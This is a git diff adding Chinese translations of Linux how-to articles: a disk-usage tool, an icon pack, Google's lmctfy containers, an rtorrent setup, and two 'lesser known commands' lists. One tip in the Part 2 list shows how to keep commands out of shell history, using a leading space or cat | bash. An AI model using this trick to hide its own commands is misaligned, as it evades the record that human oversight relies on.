+![](http://mylinuxbook.com/wp-content/uploads/2013/10/di-1.png) + +更完整的选项,参考[di命令man文档][2] + +### 下载/安装 ### + +这里有一些关于di命令的重要链接: + +- [主页][3] + +- [下载链接][4] + +命令行工具 di 也能通过apt、yum等命令在命令行下载和安装。Ubuntu用户也可以从Ubuntu 软件中心下载这个命令。 + +### 优点 ### + +- 提供了许多高级功能 +- 跨平台 + +### 缺点 ### + +- 在大多数的Linux发行版没有预装 +- 大量选项需要学习 + +### 结论 ### + +最后,di命令提供了一些非常有用的特性,比df命令更强大。如果你正在寻找一个类似df,但比df更强大的关于磁盘信息的命令行工具,那么di是最理想的选择。试试吧,包你满意!!! + +**你试过di或任何其他类似df工具?请跟我们分享你的经验!** + +-------------------------------------------------------------------------------- + +via: http://mylinuxbook.com/di-a-disk-information-utility/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.expertslogin.com/linux-command/linux-df-command/ +[2]:http://www.manpagez.com/man/1/di/ +[3]:http://www.gentoo.com/di/ +[4]:http://freecode.com/projects/diskinfo diff --git a/published/201310/iLinux Is the Largest Collection of Custom Icons on the Linux Platform.md b/published/201310/iLinux Is the Largest Collection of Custom Icons on the Linux Platform.md new file mode 100644 index 0000000000..41c18867b6 --- /dev/null +++ b/published/201310/iLinux Is the Largest Collection of Custom Icons on the Linux Platform.md @@ -0,0 +1,30 @@ +iLinux:Linux平台最大的自定义图标收藏铺 +================================== + +**iLinux Icons可能是Linux平台上最大的图标收藏铺,它的创作灵感来源于Linux,Windows和Mac OS系统。** + +![](http://i1-news.softpedia-static.com/images/news-700/iLinux-Is-the-Largest-Collection-of-Custom-Icons-on-the-Linux-Platform.png?1381503660) + +在Linux平台可用的高品质图标甚少,即使有几百种不同的软件包。 + +iLinux Icons 的开发者从三个不同的平台:Ubuntu,Windows和Mac OS上设法收集和整理了那些类似的图标(在一些情况下甚至更好的)。 + +安装非常简单,可以用一个简单的PPA帮助。只需在终端中输入以下命令: + + sudo add-apt-repository ppa:noobslab/icons2 + sudo apt-get update + sudo apt-get install ilinux-icons + +为了应用这些图标你还需要Ubuntu Tweak或GNOME Tweak Tool。你还可以查看开发商的[官方网站][1]的更多信息。 + + +--- + +via: http://news.softpedia.com/news/iLinux-Is-the-Largest-Collection-of-Custom-Icons-on-the-Linux-Platform-390519.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[vito-L](https://github.com/vito-L) 校对:[wxy](https://github.com/wxy) + +[1]:http://haniahmed.deviantart.com/art/iLinux-icons-v-8-5-354470161 + diff --git a/published/201310/lmctfy - Let Me Contain That For You.md b/published/201310/lmctfy - Let Me Contain That For You.md new file mode 100644 index 0000000000..25853ae2ac --- /dev/null +++ b/published/201310/lmctfy - Let Me Contain That For You.md @@ -0,0 +1,247 @@ +lmctfy(Let Me Contain That For you):让我用集装箱为你的程式打包 +=========================================================== + +lmctfy (发音是lem-kut-fee)是谷歌[Google][1]开发的容器栈,可以为Linux应用提供容器(container)。这些容器可以让一台机器上的不同应用使用相互隔离的资源,以独占的方式运行在同一台机器上。这些应用也可以拥有容器,因此能够创建和管理属于他们自己的子容器。 + +这项项目旨在提供一组以用户的意图为原点的高级API,来实现对容器概念的抽象化。这些创建的容器自身也通过继承也可以拥有了自己的容器、也能够被其他的用户程序所管理。 + +Lmctfy是为某些特定的场景(配置环境)设计、实现的,所以可能不能在所有场景(配置环境)中正常运作。我们的目标是为更多的场景(配置环境)提供更多的支持,所以你可以为这项项目[贡献][2]你的补丁或是在[邮件列表][3]中发送邮件,这样我们可以朝着既定的[路线图][4]前进。 + +lmctfy 内包含一个C++库和一个CLI(命令行界面程序) + +## 最新进展 + +lmctfy 还是一个在beta阶段的应用,目前仍在主要开发中。最新的版本是`0.1`。她目前只支持CPU和内存资源的隔离。点击查看我们的[路线图][4]来了解各部分的开发情况,点击查看[贡献][2]。 + +## 从此开始 + +这一节描述如何编译你的CLI,运行所有的UI测试,和初始化机器的细节。 [CLI][5]这节提供了一些CLI操作的例子,[C++ 库][6]描述了这个库的使用详情。 + +### 依赖 + +编译本程序需要使用make和g++4.7。 lmcfy使用了C++11,所以需要支持这项功能的编译器。我们在 **Ubuntu 12.04+** 上测试过编译。如果有为其他环境的编译提供支持的补丁,我们很高兴而且希望这越多越好。 + +lmctfy 依赖下列几个库,需要这些库存在于你的计算机系统里。 + +* [Protocol Buffers](https://code.google.com/p/protobuf/) +* [gflags](https://code.google.com/p/gflags/) +* [RE2](https://code.google.com/p/re2/) + +### 编译CLI + +编译`lmctfy`的CLI: + +```bash +make -j <线程数> lmctfy +``` +CLI程序会生成在 `bin/lmctfy/cli/lmctfy` + +### 编译C++库 + +编译lmctfy的库: + +```bash +make -j <线程数> liblmctfy.a +``` +库文件会生成在 `bin/liblmctfy.a`. + +### 运行测试 + +编译和运行所有的UI测试: + +```bash +make -j <线程数> check +``` + +### 初始化 + +lmctfy已经在 **Ubuntu 12.04+** 上的 **3.3** 和 **3.8** 内核上测试过。 lmctfy在一台机器的所有容器都是运行它的时候运转得最好,所以不建议让她运行在[LXC][7]或者其他container系统上(尽管在某些特殊得配置下这能够跑起来)。 + +为了运行lmctfy,我们必须首先初始化计算机。这只需要运行一次就可以,而且一般是在计算机第一次启动时候就完成了。当cgroup的hierarchies已经挂载了,接下来通常一个空的配置会可以让lmctfy自动监测到目前的挂载。 + +```bash +lmctfy init "" +``` + +如果cgroup的hierarchies没有被挂载,那么必须指明这些资源,这样lmctfy才可以挂载他们。目前版本需要以下cgroup的hierarchies资源`cpu`,`cpuset`,`cpuacct`,`memory`和`freezer`。 `cpu`和`cpuacct` 是目前唯一可以被共享挂载的,其他的必须被单独地挂载。具体配置说明可以查看[lmctfy.proto][8]中的`InitSpec`节。以下的例子是一个挂载了`/dev/cgroup`中的所有hierarachies的配置文件: + + +```bash +lmctfy init " + cgroup_mount:{ + mount_path:'/dev/cgroup/cpu' + hierarchy:CGROUP_CPU hierarchy:CGROUP_CPUACCT + } + cgroup_mount:{ + mount_path:'/dev/cgroup/cpuset' hierarchy:CGROUP_CPUSET + } + cgroup_mount:{ + mount_path:'/dev/cgroup/freezer' hierarchy:CGROUP_FREEZER + } + cgroup_mount:{ + mount_path:'/dev/cgroup/memory' hierarchy:CGROUP_MEMORY + }" +``` + +这样,机器就可以被`lmctfy`使用、进行容器的操作。 + +## 容器的命名 + +容器的命名系统简化了文件系统的路径,因为以后只需要一系列容器的继承(容器的容器、子容器、子子容器)就可以了♪───O(≧∇≦)O──── ♪。 + +容器名称允许的字符集: + +* 英文字母+阿拉伯数字 (`[a-zA-Z0-9]+`) +* 下划线 (`_`) +* 横县 (`-`) +* 英文句号 (`.`) + +绝对路径是从容器(比如是`/sys/subcont`)的根目录(`/`)开始计算的。容器的名字也可以是相对的(比如`subcont`)。一般地(除非特殊情况说明),都是沿用一般的文件路径方式。 + +### 例子 + +``` + / : 容器的根目录 + /sys : "sys" 容器 + /sys/sub : "sub" 容器,"sys"容器的子容器 + . : 当前的容器 + ./ : 当前的容器 + .. : 当前的容器的父容器 + sub : 当前的容器的"sub" 子容器 + ./sub : 当前的容器的"sub" 子容器 + /sub : "sub" 容器 + ../sibling : 当前的父容器的“sibling”子容器 +``` + + +## CLI + +### 创建 + +创建一个容器: + +```bash +lmctfy create <名称> <参数> +``` + +更完整的细节参见[lmctfy.proto](/include/lmctfy.proto) + +例子(创建一个内存限制在100MB的容器): + +```bash +lmctfy create memory_only "memory:{limit:100000000}" +``` + +### 销毁 + +销毁一个容器: + +```bash +lmctfy destroy <名称> +``` + +### 列表 + +从根目录递归显示当前机器的所有容器: + +```bash +lmctfy list containers -r / +``` + +你也可以只列出当前的子容器: + +```bash +lmctfy list containers +``` + +### 运行 + +在一台容器中运行命令: + +```bash +lmctfy run <名称> <命令行> +``` + +例子: + +```bash +lmctfy run test "echo hello world" +lmctfy run /test/sub bash +lmctfy run -n /test "echo hello from a daemon" +``` + +### 其他 + +键入`lmctfy help`查看全部的命令和文档 + +## C++ Library + +此库包含了`::containers::lmctfy::ContainerApi` 用来创建、获取、销毁、监测`::containers::lmctfy::Container`类型的对象,并且被独立的容器相互交流。具体的lmctfy C++库的文档可以查看头文件[lmctfy.h][9](你是认真的吗( ̄▽ ̄))。 + +## 路线图 + +lmctfy项目通过两个层(CL1、CL2)来实现一个容器栈。CL1围绕着驱动进程,并执行CL2制定的容器策略。CL1会为更高层创建和维护容器的抽象。她应当是唯一直接和内核交流以维护容器的层。 CL2发展和设定容器策略,她使用CL1来执行策略和操控容器。比如,CL2(后台进程)实现了一个策略:所有容器的CPU和内存使用总和不可以超过现提供的CPU和内存资源(以防止对内存资源的过度使用)。为了执行这条策略,她(CL2)会使用CL1(library/CLI)来创建带这条内存限制规则的容器。另一条对应的策略可能包括了允许过度使用X%的机器资源或者对不同资源的多重层次控制。 + +lmcfty项目现在提供了CL1组件,CL2还没有实现。 + +### CL1 + +现在只提供高性能CPU和内存隔离。在我们的路线图中我们还需要实现以下几项: + +* *磁盘IO隔离:* 这部分几乎完成了,但是我们还缺少控制器和资源处理器。 +* *网络隔离:* 这部分和cgroup实现还在计划中。 +* *命名空间支援:* 给所有命名空间支援并且整合到相关的资源中。 +* *根文件系统支援:* 识别并建立根文件系统。 +* *磁盘镜像:* 可以导入和导出容器的根文件系统的镜像。 +* *支持暂停/继续:* 使用继承的freezer。 +* *还原点恢复:* 可以建立还原点并恢复到不同机器的容器中。 + +### CL2 + +最基础的CL2 应当有一个容器策略来保证在机器不允许超载运行情况下的资源合理分配。我们的目标是CL2最终实现提供不同层次的服务。在这个框架下一些层次可以比其他的获得更多好的服务。 + +* 监控和统计支持。 +* 管理功能和功能检查。 +* 服务的质量保证和执行。 + +## 内核支持 + +lmctfy 最初的设计和实现是在一个自定义的内核上(一个原生linux内核外加一些列自选的补丁)上。由此,一些特性在这些内核补丁上跑得最理想。但是lmctfy应该在没有他们得情况下正常运行。她应当监测可用得内核支援并且与之适应。我们已经在原生的 **Ubuntu** 的 **3.3** 和 **3.8** 系列内核上测试过。如果你发现在其他版本内核下的问题,请汇报。 + +一些相关的内核补丁: + +* *CPU 延时:* 这个补丁为cpu hierarchy增加了`cpu.lat`的cgroup 文件。她限制了cgroup能预测的CPU唤醒延时时间。 +* *CPU 柱状图统计:* 这个补丁为cpuacct hierarchy增加了`cpuacct.histogram` cgroup 文件。她为CPU计划行为提供了多种柱状图方案。 +* *OOM 管理:* 一系列的补丁,用于在内存用尽的情况下执行优先权。 + +## 贡献 + +对项目感到兴趣了?看看我们的[路线图][4],看你是不是由很多想贡献的方向呢? [从此开始][10],你应该可以运行我们的程序。如果无法运行,请让我们知道,这样我们可以改进这份指南。 + +## 邮件列表 + +本项目的邮件列表是。本邮件列表用来发布、讨论、一般性支持。 + +--- + +原文: https://github.com/google/lmctfy/ + +本文由[LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Chilledheart][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Chilledheart]:http://linux.cn/space/Chilledheart +[wxy]:http://linux.cn/space/wxy + +[1]:http://www.google.com +[2]:#contributing +[3]:#mailing-list +[4]:#roadmap +[5]:#cli-commands +[6]:#c-library +[7]:http://lxc.sourceforge.net/ +[8]:https://github.com/google/lmctfy/blob/master/include/lmctfy.proto +[9]:https://github.com/google/lmctfy/blob/master/include/lmctfy.h +[10]:#getting-started \ No newline at end of file diff --git "a/published/201310/rtorrent \342\200\223 A Powerful Command Line Bit Torrent Client.md" "b/published/201310/rtorrent \342\200\223 A Powerful Command Line Bit Torrent Client.md" new file mode 100644 index 0000000000..f3c0db878a --- /dev/null +++ "b/published/201310/rtorrent \342\200\223 A Powerful Command Line Bit Torrent Client.md" @@ -0,0 +1,169 @@ +rtorrent - 强大的命令行BT客户端 +============================ + +如果你不使用torrent命令行客户端是担心它太复杂,那么,请重新考虑下。我相信一旦使用过了基于命令行的BT客户端,你就会离不开它:你可以非常轻松地在你的终端窗口启动和监控进度。在这篇文章中,我们将会介绍一个强大的命令行BT客户端 - **rtorrent** 。 + +**NOTE** - 文中展示的所有示例和指令都已经在Ubuntu 13.04中测试过。 + +##rtorrent - 命令行BT客户端 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/rtorrent-main.png) + +###简明教程 + +rtorrent 是一个用来轻松下载文件的命令行BT客户端(基于ncurses). 安装这个BT客户端之后,可以用下面命令运行它: + + rtorrent + +这有一个运行rtorrent后的窗口的截图: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/rtorrent-3.png) + + +好吧,我同意这个主窗口看起来并不是很美观,而且显示的信息有一点点混乱。不要担心,只要在你的键盘上按下enter就会有一个提示出现在窗口底部. + +这是截图: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/rtorrent-4.png) + +注意这个出现在屏幕上的提示load.normal>,下一步仅需输入torrent文件的名字。例如,我输入这个torrent文件名 **Fedora-20-Alpha-x86_64-DVD.torrent**. + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/rtorrent-6.png) + +注意你只需要输入torrent文件名(如果不在当前目录的话,那就要输入完整的路径)。你可以轻松的使用bash的快捷键比如[TAB]来补全文件名和路径。之后,再次按下enter。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/rtorrent-7.png) + +现在你可以看到torrent文件已经加载了,但是你需要激活它,让它开始下载。怎么做呢?首先按下向下箭头键。现在应该在之前加载文件的详细信息前面上显示了一个星号(译者注:表示选中)。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/rtorrent-8.png) + +注意在torrent文件信息开头显示的星号,现在,按下 **Ctrl+s** 开始下载。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/rtorrent-9.png) + +rtorrent现在已经开始下载当前文件了。用 **Ctrl+d** 停止下载,再用一次 **Ctrl+d** 可以移除torrent任务,即卸载它。用 **Ctrl+q** 退出rtorrent。 + +你可以看到尽管基于命令行,但是事实上操作rtorrent并不是很难。 + +###下载/安装 + +一些重要的关于rtorrent的链接: + +- [主页][5] +- [下载链接][6] + + +Ubuntu 用户可以从Ubuntu软件中心下载rtorrent. 现在使用的版本是0.9.2. + +rtorrent 下载安装之后,你必须设置一个资源文件(配置文件) - **.rtorrent.rc** 。这个文件必须存在,否则程序无法正常启动。下图就是我没有设置 **~/.rtorrent.rc** 运行程序的结果。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/rtorrent-1.png) + +你可以看到程序显示了一个不能读取到资源文件的错误。设置这个文件,首先下载[文件模板][1],根据需求改一改。 + +注意 - 我上面提到的链接是官方的下载链接。这个文件和我的 ~/.rtorrent.rc有一点不同。 + +这是我使用的资源文件: + + # For temporary downloaded files + # 临时下载文件 + directory = ~/rTempDownloadFiles + + # Directory to save and resume torrent sessions + # 保存和恢复torrent会话的目录 + session = ~/rSession + + # Other Tunables + # 其它可调参数 + upload_rate = 30 + download_rate = 200 + peer_exchange = yes + + # DHT enabled + # 开启DHT + dht = auto + + # custom throttles + # 自定义阀门(译者注:流量限制) + throttle_up = low,10 + throttle_down = low,10 + throttle_up = med,20 + throttle_down = med,20 + + # Watch a directory for new torrents, restart torrents that have been + # 监控目录中新的torrent, 重新启动torrent + # copied back and stop those that have been deleted. + # 复制并且阻止已经删除的. + + schedule = watch_directory,0,10,load_start=~/rWatch/*.torrent + schedule = tied_directory,10,10,start_tied= + schedule = untied_directory,10,10,close_untied= + + # Enable the default ratio group + # 启用默认比率组 + ratio.enable= + + # Change the limits, the defaults should be sufficient. + # 改变限制,默认应该足够 + ratio.min.set=50 + ratio.max.set=150 + ratio.upload.set=20M + + # Changing the command triggered when the ratio is reached. + # 当比值达到,改变命令触发 + system.method.set = group.seeding.ratio.command, d.close=, d.erase= + + # Move finished torrents to completed + # 移走完成的torrent + system.method.set_key = event.download.finished,rm_torrent,”execute=rm,$d.get_tied_to_file=” + system.method.set_key = event.download.finished,move_complete,”execute=mv,-u,$d.get_base_path=,~/rFullDownloadFiles/ ;d.set_directory=~/rFullDownloadFiles/” + +注意 - 这个资源文件引用自[这个链接][2]. + +要使用这个资源文件,不要忘记运行下面的命令(建立资源文件中提到的目录): + + mkdir /home//rTempDownloadFiles + mkdir /home//rFullDownloadFiles + mkdir /home//rSession + mkdir /home//rWatch + +用你自己的用户名替换 。还有,确保资源文件的名字是 **.rtorrent.rc** (前面有一个点) 不是 **rtorrent.rc**,把它保存在你的home目录(我的是/home/himashu). + +想知道更多关于使用rtorren,请读[用户指南][3]。还可以在rtorrent中浏览[详细教程][4]。 + +###结论 + +rtorrent 是为那些想要用命令行BT客户端来代替基于GUI的客户端的用户准备的。虽然它需要为初始化配置付出一些时间并且需要一些操作来习惯,但是这些时间是值得的。尝试一下,它一定会给你留下深刻印象。 + +**优点** + +- 功能丰富 +- 大量的自定义选项 + +**缺点** + +- 初始配置时需要一点时间 +- 用户可能需要一些时间来习惯 + +*你使用基于CLI的BT客户端吗?它有什么优势和弊端?和我们分享你的经历。* + +--- + +via: http://mylinuxbook.com/rtorrent-bit-torrent-client/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf01][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf01]:http://linux.cn/space/flsf01 +[Caroline]:http://linux.cn/space/14763 + +[1]:http://libtorrent.rakshasa.no/export/1170/trunk/rtorrent/doc/rtorrent.rc +[2]:http://ankursinha.fedorapeople.org/misc/rtorrentconf/rtorrent.rc +[3]:http://libtorrent.rakshasa.no/wiki/RTorrentUserGuide +[4]:http://fsk141.com/rtorrent-the-complete-guide/ +[5]:http://libtorrent.rakshasa.no/ +[6]:http://libtorrent.rakshasa.no/wiki/Download diff --git "a/published/201311/10 Lesser Known Commands for Linux \342\200\223 Part 3.md" "b/published/201311/10 Lesser Known Commands for Linux \342\200\223 Part 3.md" new file mode 100644 index 0000000000..70dba3d81b --- /dev/null +++ "b/published/201311/10 Lesser Known Commands for Linux \342\200\223 Part 3.md" @@ -0,0 +1,233 @@ +十个鲜为人知的 Linux 命令 - Part 3 +================================================================================ +![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Linux-Commands.png) + +我们继续10个鲜为人知Linux命令系列的第三部分。或许你已经知道了这些命令,那你无疑是一个有经验而喜欢探索的Linux用户。 + +### 22. \^foo\^bar 命令 ### + +在一个实例中运行修改后的最后一个命令。假设我需要运行一个命令‘**ls -l**‘来详细列出‘**Desktop**’目录下的内容。意外地,你打了‘**lls -l**‘。所以你需要重新打整个命令或者使用导航键编辑前面的命令。当你的命令很长时这个很痛苦。 + + avi@localhost:~/Desktop$ lls -l + bash: lls: command not found + + avi@localhost:~/Desktop$ ^lls^ls + + ls -l + total 7489440 + + drwxr-xr-x 2 avi avi 36864 Nov 13 2012 101MSDCF + -rw-r--r-- 1 avi avi 206833 Nov 5 15:27 1.jpg + -rw-r--r-- 1 avi avi 158951 Nov 5 15:27 2.jpg + -rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc + +**注意**:在上面的替换中我们使用“**^typo(被替换的)^original_command(原始命令)**”。警告!这个命令可能会非常危险!如果你有意或者无意地打错了系统命令或者任何像**rm -rf**那样的风险命令的话! + +### 23. > file.txt 命令 ### + +这个命令会刷新文件的内容而不需删除然后创建相同的文件。当我们需要反复输出,或者在相同的文件上记录日志时,这个命令就非常有用。 + +我有一个有很多文字的‘**test.txt**’文件在我的‘**Desktop**‘上。 + + avi@localhost:~/Desktop$ cat test.txt + + Linux + GNU + Debian + Fedora + kali + ubuntu + git + Linus + Torvalds + + + avi@localhost:~/Desktop$ > test.txt + avi@localhost:~/Desktop$ cat test.txt + +**注意**:再说一次,这个命令可能很危险!永远不要尝试刷新系统文件或者某篇日志文件的内容。如果你这么做了,你可能会遭遇严重的问题! + +### 24. at 命令 ### + +‘**at**‘命令与[cron 命令][1]相似也可用于安排一个任务或者在某个特定时刻执行命令。 + + avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 14:012 + +或 + + avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 2:12 PM + +**示例输出** + + -rw-r--r-- 1 avi avi 220492 Nov 1 13:49 Screenshot-1.png + -rw-r--r-- 1 root root 358 Oct 17 10:11 sources.list + -rw-r--r-- 1 avi avi 4695982080 Oct 10 20:29 squeeze.iso + .. + .. + -rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc + -rw-r--r-- 1 avi avi 96206 Nov 5 12:56 Untitled 1.odt + -rw-r--r-- 1 avi avi 9405 Nov 12 23:22 Untitled.png + +**注意**:echo “**ls -l**”的意思是,将这串命令(这里是 **ls -l**)输出在标准终端上。你可以用你需要或者选择的命令替代‘**ls -l**‘。 + + \> :重定向输出 + +**/dev/pts/0**: 这是输出设备和/或文件,输出到指定的地方,这里输出在终端(/dev/pts/0)。 + +就我而言,此时我的**tty**在**/dev/pts/0**。你可以用**tty**命令检查你的**tty**。 + + avi@localhost:~/Desktop$ tty + + /dev/pts/0 + +**注意**: ‘**at**‘会在系统时间匹配到特定时间时会尽快执行。 + +### 25. du -h –max-depth=1 命令 ### + +下面的命令以人类可读的形式输出当前目录的子目录的大小。 + + avi@localhost:/home/avi/Desktop# du -h --max-depth=1 + + 38M ./test + 1.1G ./shivji + 42M ./drupal + 6.9G ./101MSDCF + 16G . + +**注意**:上面的命令在[检查系统使用率][2]是非常有用。 + +### 26. expr 命令 ### + +‘**expr**‘不是那么鲜为人知的命令。这个命令在终端中计算简单的算数时非常有用。 + + avi@localhost:/home/avi/Desktop# expr 2 + 3 + 5 + + avi@localhost:/home/avi/Desktop# expr 6 – 3 + 3 + + avi@localhost:/home/avi/Desktop# expr 12 / 3 + 4 + + avi@localhost:/home/avi/Desktop# expr 2 \* 9 + 18 + +### 27. look 命令 ### + +在终端上从英文字典上查单词以防混淆。比如说,我记不清了是该拼成carrier还是carieer。 + +avi@localhost:/home/avi/Documents# look car + + Cara + Cara's + … + ... + carps + carpus + carpus's + carrel + carrel's + carrels + carriage + carriage's + carriages + carriageway + carriageway's + carried + carrier + carrier's + carriers + carries + … + ... + caryatids + +上面的命令会显示字典上所有以'car'开头的单词。我得到了我想找的。 + +### 28. yes 命令 ### + +另外一个命令在通常基础上并不会经常使用,但是在脚本语言和系统管理时非常有用。 + +这个命令会持续地输出给定的字符串,直到由你的中断命令打断。 + + avi@localhost:~/Desktop$ yes "Tecmint is one of the best site dedicated to Linux, how to" + + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + … + … + ... + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + Tecmint is one of the best site dedicated to Linux, how to + +### 29. factor 命令 ### + +factor实际是一个源于数学的命令。这个命令会输出所有给定数字的因数。 + + avi@localhost:~/Desktop$ factor 22 + 22: 2 11 + + avi@localhost:~/Desktop$ factor 21 + 21: 3 7 + + avi@localhost:~/Desktop$ factor 11 + 11: 11 + +### 30. ping -i 60 -a IP_address ### + +我们都用ping命令检测服务器是否连通。我通常ping google,来检测我是否连接到了因特网。 + +当你等待或者持续盯着你的终端等待命令的回应或者等待服务器的连接时,有时是很气人的。 + +一旦服务器连通就有一个声音如何(译注:下面命令是等60秒PING一次)? + + avi@localhost:~/Desktop$ ping -i 60 -a www.google.com + + PING www.google.com (74.125.200.103) 56(84) bytes of data. + 64 bytes from www.google.com (74.125.200.103): icmp_req=1 ttl=44 time=105 ms + 64 bytes from 74.125.200.103: icmp_req=2 ttl=44 time=281 ms + +注意,当你发现命令不会返回声音时。请确保你的系统不是静音的,声音已经在‘**sound preferences(声音选项)**‘ 中启用并确保勾选了‘**Enable window and window sound**‘。 + +### 31. tac 命令 ### + +这个命令很有趣,他会以倒序输出文本文件的内容。也就是从最后一行到第一行。 + +在home目录下,我的Documents目录下有一个35.txt文件。用[cat 命令][3]检查内容。 + + avi@localhost:~/Documents$ cat 35.txt + +**示例输出** + +> 1. Linux is built with certain powerful tools, which are unavailable in windows. +> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart. +> 3. Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages. + +现在用tac命令反转文件内容(译注:当然,我们知道cat反转过来就是tac)。 + + avi@localhost:~/Documents$ tac 35.txt + +**示例输出** + +> 3. Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages. +> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart. +> 1. Linux is built with certain powerful tools, which are unavailable in windows. + +现在结束了。如果你还知道其他一些Linux鲜为人知的命令,你可以在下面评论,那么我们你可以在以后的文章中包含进来。 + +不要忘了给我们有价值的评论。我很快会发另外有趣的文章。别走开继续关注 **Tecmint**。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/11-cron-scheduling-task-examples-in-linux/ +[2]:http://www.tecmint.com/check-linux-disk-usage-of-files-and-directories/ +[3]:http://www.tecmint.com/13-basic-cat-command-examples-in-linux/ \ No newline at end of file diff --git "a/published/201311/10 Lesser Known Linux Commands \342\200\223 Part 2.md" "b/published/201311/10 Lesser Known Linux Commands \342\200\223 Part 2.md" new file mode 100644 index 0000000000..682f1fe5e4 --- /dev/null +++ "b/published/201311/10 Lesser Known Linux Commands \342\200\223 Part 2.md" @@ -0,0 +1,171 @@ +十个鲜为人知的 Linux 命令 - Part 2 +================================================================================ + +继续上篇文章[11个鲜为人知的实用Linux命令][1]在本文中,我们将关注其他几个不为人知的Linux命令,有些在管理桌面和服务器方面被证明是非常有用的。 + +![](http://www.tecmint.com/wp-content/uploads/2013/10/10-Lesser-Known-Commands.png) + +###12. \<空格\> 命令### + +你在终端上键入的每个命令都会记录到**history**,也能用**history**命令重新调用。 + +如何骗过[history 命令][2]呢?呵呵,你可以轻而易举地做到。在终端,只需要在键入命令之前输入一个或多个空格,这样你的命令就不会被记录了。 + +让我们体验一下吧,先在终端尝试五个常见的 Linux 命令并在命令之前留个空(例如** ls, pwd, uname, echo “hi”** 和 **who**),然后检查这些命令是不是记录在历史中。 + + avi@localhost:~$ ls + avi@localhost:~$ pwd + avi@localhost:~$ uname + avi@localhost:~$ echo “hi” + avi@localhost:~$ who + +现在运行 `history` 命令来查看上面已执行的命令是否已经被记录了. + + avi@localhost:~$ history + 40 cd /dev/ + 41 ls + 42 dd if=/dev/cdrom1 of=/home/avi/Desktop/squeeze.iso + 43 ping www.google.com + 44 su + +你看到没有最后执行的命令没有被记录。我们也可以用另一个命令`cat | bash`欺骗history,结果跟上面一样。 + +### 13. stat 命令 ### + +Linux中的**stat**命令用来显示文件或文件系统的状态信息。当用文件名作为参数时,**stat**将会展示文件的全部信息。状态信息包括文件 **大小、块、权限、访问时间、修改时间、状态改变时间**等。 + + avi@localhost:~$ stat 34.odt + File: `34.odt' + Size: 28822 Blocks: 64 IO Block: 4096 regular file + Device: 801h/2049d Inode: 5030293 Links: 1 + Access: (0644/-rw-r--r--) Uid: ( 1000/ avi) Gid: ( 1000/ avi) + Access: 2013-10-14 00:17:40.000000000 +0530 + Modify: 2013-10-01 15:20:17.000000000 +0530 + Change: 2013-10-01 15:20:17.000000000 +0530 + +### 14. \ + . 和 \ + . ### + +上面的组合键事实上不是一个命令,而是传递最后一个命令参数到提示符后的快捷键,以输入命令的倒序方式传递命令。按住 Alt或Esc再按一下 “.”。 + +### 15. pv 命令 ### + +在**电影**里尤其是**好莱坞电影**你可能已经看见过模拟文本了,像是在实时输入文字,你可以用**pv**命令仿照任何类型模拟风的文本输出,包括流水线输出。**pv**可能没有在你的系统上安装,你需要用**apt**或**yum**获取安装包,然后安装**pv**到你的机器。 + + root@localhost:# echo "Tecmint [dot] com is the world's best website for qualitative Linux article" | pv -qL 20 + +**输出样式** + + Tecmint [dot] com is the world''s best website for qualitative Linux article + +### 16. mount | colum -t ### + +上面的命令用一个很不错的格式与规范列出了所有挂载文件系统。 + + avi@localhost:~$ mount | column -t + +**输出样式** + + /dev/sda1on / type ext3 (rw,errors=remount-ro) + tmpfson /lib/init/rw type tmpfs(rw,nosuid,mode=0755) + proc on /proc type proc (rw,noexec,nosuid,nodev) + sysfson /sys type sysfs(rw,noexec,nosuid,nodev) + udev on /dev type tmpfs(rw,mode=0755) + tmpfson /dev/shm type tmpfs(rw,nosuid,nodev) + devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) + fusectl on /sys/fs/fuse/connections type fusectl (rw) + binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,noexec,nosuid,nodev) + nfsd on /proc/fs/nfsd type nfsd (rw) + +### 17. Ctr+l 命令 ### + +在进行下一步之前,我先问一下,你是如何清理你的终端?呵呵,你会在提示符后键入 “**clear**”。好的。用上面的命令执行清理终端都将成为过去。你只需要按下**Ctr+l**,看看它如何立即清理你的终端。 + +### 18. curl 命令 ### + 